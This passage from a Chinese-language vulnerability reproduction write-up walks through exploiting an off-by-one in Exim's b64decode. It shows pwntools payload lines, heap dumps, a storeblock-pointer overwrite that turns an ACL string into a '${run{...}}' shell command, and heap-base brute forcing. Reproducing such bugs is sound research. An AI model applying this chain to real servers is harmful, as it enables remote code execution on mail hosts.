class="lit">0x1d1b1c0</span></code></li><li class="L5"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 5
下一步跟meh一样,通过释放
sender_host_name
,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO a+"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d21240</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f30</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 6
meh提供了一种不需要泄露地址就能RCE的思路
exim有一个
expand_string
函数,当其处理的参数中有${run{xxxxx}}
,xxxx
则会被当成shell命令执行而
acl_check
函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string
函数我复现环境的配置信息如下:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">18gx</span><span class="pln"> </span><span class="pun">&</span><span class="pln">acl_smtp_vrfy</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x6ed848</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_vrfy</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x6ed858</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_rcpt</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedac0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x6ed868</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_predata</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x6ed878</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_mailauth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L5"><code class="lang-python"><span class="lit">0x6ed888</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_helo</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L6"><code class="lang-python"><span class="lit">0x6ed898</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_etrn</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L7"><code class="lang-python"><span class="lit">0x6ed8a8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_data</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedad0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x6ed8b8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_auth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedae0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li></ol>所以我有
rcpt
,data
,auth
这三个命令可以利用比如
0x0000000001cedae0
地址当前的内容是:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="pln">s </span><span class="lit">0x0000000001cedae0</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1cedae0</span><span class="pun">:</span><span class="pln"> </span><span class="str">"acl_check_auth"</span></code></li></ol>当我把该字符串修改为
${run{/usr/bin/touch /tmp/pwned}}
则当我向服务器发送
AUTH
命令时,exim将会执行/usr/bin/touch /tmp/pwned
所以之后就是meh所说的利用链:
修改
storeblock
的next指针为储存acl_check_xxxx
字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx
字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx
字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCESTEP 7
根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个
storeblock
的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010所以我们申请一个0x2020的chunk,就能够覆盖next指针:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">base64</span><span class="pun">.</span><span class="pln">b64encode</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">501</span><span class="pun">+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p32</span><span class="pun">(</span><span class="pln">address</span><span class="pun">)))</span></code></li></ol>这里有一个问题
第二个chunk在
AUTH CRAM-MD5
命令执行时就被分配了,所以b64decode
的内存是从next_yield
获取的这样就导致一个问题,我们能通过之前的构造来控制在执行
b64decode
时yield_length
的大小,最开始我的一个思路就是,仍然利用off by one
漏洞来修改next,这也是我理解的meh所说的partial write
但是实际情况让我这个思路失败了
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">16gx</span><span class="pln"> </span><span class="lit">0x1d171a0</span><span class="pun">+</span><span class="lit">0x2000</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191a0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0063636363636363</span><span class="pln"> </span><span class="lit">0x0000000000002021</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d191b0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0000000001d171b0</span><span class="pln"> </span><span class="lit">0x0000000000002000</span></code></li></ol>当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存
acl_check_xxx
字符的堆块地址为0x1ced980我们需要修改3字节,所以这个思路行不通
所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte
STEP 8
在解决地址的问题后,就是对堆进行填充,然后修改相关
acl_check_xxx
指向的字符串然后附上利用截图:
总结
坑踩的挺多,尤其是在纠结meh所说的
partial write
,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write
的理解有问题吧另外,通过与github上的exp进行对比,发现不同版本的exim,
acl_check_xxx
的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:- 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
- 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
- 需要有该exim的binary来计算堆偏移
- 需要知道exim的启动参数
参考